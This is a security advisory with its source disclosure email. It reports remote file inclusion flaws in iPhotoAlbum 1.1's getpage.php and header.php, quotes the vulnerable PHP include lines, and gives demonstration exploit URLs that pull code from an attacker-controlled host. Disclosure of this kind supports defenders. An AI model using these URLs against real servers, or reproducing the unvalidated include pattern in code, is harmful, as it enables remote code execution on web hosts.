iPhotoAlbum Include File Bug Lets Remote Users Execute Arbitrary Commands
|
|
SecurityTracker Alert ID: 1014448
|
|
SecurityTracker URL: http://securitytracker.com/id?1014448
|
|
CVE Reference: CVE-2005-2246
(Links to External Site)
|
Updated: Jun 15 2008
|
Original Entry Date: Jul 11 2005
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.1
|
Description: V4mu from Anomaly 1n The System reported a vulnerability in iPhotoAlbum. A remote user can execute arbitrary commands on the target system.
The 'getpage.php' script includes the user-supplied 'doc_path' parameter without validating the input. A remote user can supply
a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code,
including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/[path_to_iPhot
oAlbum]/getpage.php?page=online&doc_path=http://[attacker]
The 'lib/static/header.php' file includes the user-supplied 'set_menu'
parameter without validating the input.
A demonstration exploit URL is provided:
http://[target]/[path_to_iPhotoAlbum]/lib/static/header.php?set_menu=http://[attack
er]
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: iphotoalbum.sourceforge.net/ (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: skdaemon porra <skdaemon@gmail.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Sat, 9 Jul 2005 11:24:00 -0300
From: skdaemon porra <skdaemon@gmail.com>
Subject: iPhotoAlbum remote file inclusion
|
iPhotoAlbum 1.1 Software has a remote file inclusion founded by
V4mu from Anomaly 1n The System
vendor: http://sourceforge.net/projects/iphotoalbum/
the bug is in getpage.php line 28:
if(strval($page == "online"))
{
include("lib/static/header.php");
include("$doc_path");
include("lib/static/footer.php");
}
Exploit:
www.target.com/[path_to_iPhotoAlbum]/getpage.php?page=online&doc_path=http://[attacker]
another bug is in lib/static/header.php line 32:
include("$set_menu");
Exploit:
www.target.com/[path_to_iPhotoAlbum]/lib/static/header.php?set_menu=http://[attacker]
-----------------------------------------------------------------------------------------------------
-------------------
[A]nomaly [1]n [T]he [S]ystem
We are:
V4mu <*> S0l4r1s <*> r3ckd4ll <*> paulinhu <*> nicked
www.a1ts.org
|
|
